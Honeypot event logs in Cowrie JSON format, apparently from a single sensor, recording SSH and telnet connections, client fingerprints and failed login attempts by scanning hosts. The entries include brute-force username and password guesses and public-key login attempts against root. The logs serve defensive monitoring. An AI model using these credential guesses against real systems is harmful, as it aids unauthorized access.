{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":56974,"dst_ip":"10.17.0.5","dst_port":22,"session":"86f2f7566aef","protocol":"ssh","message":"New connection: 187.212.47.18:56974 (10.17.0.5:22) [session: 86f2f7566aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:38.161797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:38.166269Z","src_ip":"187.212.47.18","session":"86f2f7566aef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:38.389187Z","src_ip":"187.212.47.18","session":"86f2f7566aef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser1","message":"login attempt [ftpuser/ftpuser1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:39.594711Z","src_ip":"187.212.47.18","session":"86f2f7566aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:40.674991Z","src_ip":"187.212.47.18","session":"86f2f7566aef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.61236643791199,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:42.431186Z","src_ip":"135.148.33.91","session":"4eff925eaa36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.81.14.172","src_port":48030,"dst_ip":"10.17.0.5","dst_port":22,"session":"330186fc144a","protocol":"ssh","message":"New connection: 154.81.14.172:48030 (10.17.0.5:22) [session: 330186fc144a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:57.963851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:57.969061Z","src_ip":"154.81.14.172","session":"330186fc144a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.172.149.149","src_port":61831,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6b69889b9f8","protocol":"telnet","message":"New connection: 213.172.149.149:61831 (10.17.0.5:23) [session: c6b69889b9f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:10:59.417655Z"}
{"eventid":"cowrie.session.closed","duration":12.100512504577637,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:11.518049Z","src_ip":"213.172.149.149","session":"c6b69889b9f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.113.160.5","src_port":51180,"dst_ip":"10.17.0.5","dst_port":22,"session":"86c71dcb467d","protocol":"ssh","message":"New connection: 148.113.160.5:51180 (10.17.0.5:22) [session: 86c71dcb467d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:18.892395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:18.897665Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:18.917864Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:86:e9:d4:4a:26:a1:44:6d:06:48:7c:89:01:2a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9nsLYGTeDIe0g3Ca9boH7UpX3W1JzRs5ro8NRhm56Hu2eqZc0R7+GxSmU1aSZaAHBOpF3oIr2lFNITa+NnUt2x8KQ3ddS641cOLdTNTdU0fL32HyQIQ5SuGeFhsTz1s/IOaBievziV5hMd4Mk0L91OXFDiZ/Xtwrd/Z0weymd27vSKSUYKbfHrYmafH8Hi2rvg65slIXfWSq+V3gpcjzeoGt2rONuz6wQSB3yRPK0ZWdNAVnGstofZgj+p3IqoGtRhnXxwieRVSf9C0XngBaLX9VfFiWcvLp2h9M70EZfWxg3V57unwoXs0OmWuy/MHoqjnaCs4FD9EvfZMVZqpPf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:86:e9:d4:4a:26:a1:44:6d:06:48:7c:89:01:2a:15","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:18.999103Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:86:e9:d4:4a:26:a1:44:6d:06:48:7c:89:01:2a:15","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9nsLYGTeDIe0g3Ca9boH7UpX3W1JzRs5ro8NRhm56Hu2eqZc0R7+GxSmU1aSZaAHBOpF3oIr2lFNITa+NnUt2x8KQ3ddS641cOLdTNTdU0fL32HyQIQ5SuGeFhsTz1s/IOaBievziV5hMd4Mk0L91OXFDiZ/Xtwrd/Z0weymd27vSKSUYKbfHrYmafH8Hi2rvg65slIXfWSq+V3gpcjzeoGt2rONuz6wQSB3yRPK0ZWdNAVnGstofZgj+p3IqoGtRhnXxwieRVSf9C0XngBaLX9VfFiWcvLp2h9M70EZfWxg3V57unwoXs0OmWuy/MHoqjnaCs4FD9EvfZMVZqpPf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.005626Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:d8:bd:a5:38:df:68:14:0b:5b:97:fb:72:af:c5:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6mHi35kKhFF+rpnWnW/nL8jXAYVxHxAyaT03n7INF4Ipj6lsSZlSGq9TYBVA5lYG5dJdIdinUHg7AF95OFnKK0v0Dea32xAajXPXY6PuOhaUBj5DXOwx7/uNhqj+KHKu0GyILYOe6SAIBCqIkHjMCM2MmHm6CLHu2ietaUrp8Dbkl2S/AtpgKqCXArcwzmZflc/kM5wlzEeWXTXOwxEJYBcvw1Mvpy8IPWIWX8nPZoLKaXgw6PDdfNPrBJBqYGdU2uZa8DAHuAA1M9ACeAtQx1PjquPI35kzxF2e88f1uTc7VTgouS4HLZdN+qlEme1pVRPHG4rsuMrJ8mJ3LCVA+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:d8:bd:a5:38:df:68:14:0b:5b:97:fb:72:af:c5:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.027248Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:d8:bd:a5:38:df:68:14:0b:5b:97:fb:72:af:c5:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6mHi35kKhFF+rpnWnW/nL8jXAYVxHxAyaT03n7INF4Ipj6lsSZlSGq9TYBVA5lYG5dJdIdinUHg7AF95OFnKK0v0Dea32xAajXPXY6PuOhaUBj5DXOwx7/uNhqj+KHKu0GyILYOe6SAIBCqIkHjMCM2MmHm6CLHu2ietaUrp8Dbkl2S/AtpgKqCXArcwzmZflc/kM5wlzEeWXTXOwxEJYBcvw1Mvpy8IPWIWX8nPZoLKaXgw6PDdfNPrBJBqYGdU2uZa8DAHuAA1M9ACeAtQx1PjquPI35kzxF2e88f1uTc7VTgouS4HLZdN+qlEme1pVRPHG4rsuMrJ8mJ3LCVA+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.031014Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:a1:25:2e:22:97:98:13:4a:2e:57:04:af:d7:72:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdJz9AX76EOioIENu5YVon0NQJDLci5zLp3YqflWiJjO1mRWAwYOnxMrvSyXrKeJWMVuZTo8HBZ0ORhqRE45NtgGZzInLZIfpJ9+KDuJLPrO6FETN3RG0VQ2MFDp7EbJSPL6pFahhNKv7bSQiIWbS533KIHeEQdLKpUQrQ9N8qxvxyHCnz4WhTPcfQzZsEdnOVWH/e9cJquC0MyS0JFwPBLwUcKGOGobir/6bsvArWAn0khFteTWF6wq00NGA9+rA+SB9OEEfa0JeMlVWDrqdn6gBbkH9DVfV1pJ6PYxceVFK8ajANCArxvu1ZyEfnRAMaL5swhx+9/yu/zdLSnNpd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:a1:25:2e:22:97:98:13:4a:2e:57:04:af:d7:72:fe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.052288Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:a1:25:2e:22:97:98:13:4a:2e:57:04:af:d7:72:fe","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdJz9AX76EOioIENu5YVon0NQJDLci5zLp3YqflWiJjO1mRWAwYOnxMrvSyXrKeJWMVuZTo8HBZ0ORhqRE45NtgGZzInLZIfpJ9+KDuJLPrO6FETN3RG0VQ2MFDp7EbJSPL6pFahhNKv7bSQiIWbS533KIHeEQdLKpUQrQ9N8qxvxyHCnz4WhTPcfQzZsEdnOVWH/e9cJquC0MyS0JFwPBLwUcKGOGobir/6bsvArWAn0khFteTWF6wq00NGA9+rA+SB9OEEfa0JeMlVWDrqdn6gBbkH9DVfV1pJ6PYxceVFK8ajANCArxvu1ZyEfnRAMaL5swhx+9/yu/zdLSnNpd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.057384Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:df:8b:0b:10:df:08:08:99:bc:c5:9b:2c:90:67:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwAayT4kxLhNJSKdmbRPuF2u9JU0KSh0O0zZ2Lk9H8OM8458UBQqJYoV65AQ4d4PeRBY7ZFkzenfMguZdEUxtNAIPNTxMtLTuRFC4aHbd+eCgFhW7pg2fVnv8LuyzQg9YyAKQ94dsEaLXg5RtWnlbTeXZWej8chx2j6JfF+hvpXzdO8ZD1g0g85LBxR7K5dsUUpZZUcb3kRAId2SLpQLjAlR0YO7MtuFXONicByP17xK4W/h2eBb9j6wjODiCCy+u3xRTdsu8ILeMN81qzpeipyPdLJBl5C8aZs8a66uRbXcZOBM6mqqGssn9VFq38wWlIdjUidf/R8Fxgvd5HAqA4Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:df:8b:0b:10:df:08:08:99:bc:c5:9b:2c:90:67:b6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.078820Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:df:8b:0b:10:df:08:08:99:bc:c5:9b:2c:90:67:b6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwAayT4kxLhNJSKdmbRPuF2u9JU0KSh0O0zZ2Lk9H8OM8458UBQqJYoV65AQ4d4PeRBY7ZFkzenfMguZdEUxtNAIPNTxMtLTuRFC4aHbd+eCgFhW7pg2fVnv8LuyzQg9YyAKQ94dsEaLXg5RtWnlbTeXZWej8chx2j6JfF+hvpXzdO8ZD1g0g85LBxR7K5dsUUpZZUcb3kRAId2SLpQLjAlR0YO7MtuFXONicByP17xK4W/h2eBb9j6wjODiCCy+u3xRTdsu8ILeMN81qzpeipyPdLJBl5C8aZs8a66uRbXcZOBM6mqqGssn9VFq38wWlIdjUidf/R8Fxgvd5HAqA4Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.084239Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:e2:f4:ba:07:91:c7:00:c9:c5:ce:00:9f:b7:4d:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkxC9UmSqrHVRrbWWjzpdvAhnJmegC7XcPzrcypqnDq7jyijy+ycjPotLNnUbikix0r+mXjSAZO7fLSitz1J9IdUz1Qb5m8D6zNW3sOrzHAsLBWAHVUDMQkiq9d5+4P5Scuao68pHi/Hg3Lc8MSmjsQO4rn8OmlWYzxqb6O387X6lGID728FsBsMYI7mE6YGc63sV20m+PEIpgnanLr0JCpDcniKEYhTU7CHnS+k92pCRcbVaLif1AOqyzqX2j8pu4ONgtxoB2lN+sZeOF2aB8GUekhLO+l0OPQj6eERNfYwogxjZUt4AOQL2zDveU25jQIF0AvpvdBS8LS2cS5DAN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:e2:f4:ba:07:91:c7:00:c9:c5:ce:00:9f:b7:4d:39","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.105881Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:e2:f4:ba:07:91:c7:00:c9:c5:ce:00:9f:b7:4d:39","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkxC9UmSqrHVRrbWWjzpdvAhnJmegC7XcPzrcypqnDq7jyijy+ycjPotLNnUbikix0r+mXjSAZO7fLSitz1J9IdUz1Qb5m8D6zNW3sOrzHAsLBWAHVUDMQkiq9d5+4P5Scuao68pHi/Hg3Lc8MSmjsQO4rn8OmlWYzxqb6O387X6lGID728FsBsMYI7mE6YGc63sV20m+PEIpgnanLr0JCpDcniKEYhTU7CHnS+k92pCRcbVaLif1AOqyzqX2j8pu4ONgtxoB2lN+sZeOF2aB8GUekhLO+l0OPQj6eERNfYwogxjZUt4AOQL2zDveU25jQIF0AvpvdBS8LS2cS5DAN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.110070Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:19.131025Z","src_ip":"148.113.160.5","session":"86c71dcb467d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":55101,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7ce7ce228fb","protocol":"ssh","message":"New connection: 2.57.121.25:55101 (10.17.0.5:22) [session: a7ce7ce228fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:24.611108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:24.615833Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:24.716867Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21081979","message":"login attempt [user/21081979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:25.196993Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21041981","message":"login attempt [user/21041981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:26.302213Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21011993","message":"login attempt [user/21011993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:27.406864Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"21011979","message":"login attempt [user/21011979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:28.510964Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"2055","message":"login attempt [user/2055] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:29.615601Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:30.720998Z","src_ip":"2.57.121.25","session":"a7ce7ce228fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":48322,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d9dc67a385","protocol":"telnet","message":"New connection: 166.62.124.255:48322 (10.17.0.5:23) [session: 40d9dc67a385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:11:31.644798Z"}
{"eventid":"cowrie.session.closed","duration":30.5252423286438,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:02.169934Z","src_ip":"166.62.124.255","session":"40d9dc67a385","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.184.67","src_port":58566,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ddb4e76a90e","protocol":"ssh","message":"New connection: 186.233.184.67:58566 (10.17.0.5:22) [session: 2ddb4e76a90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:16.962323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:16.967313Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T22:12:17.006763Z","src_ip":"186.233.184.67","session":"2ddb4e76a90e","protocol":"ssh"}
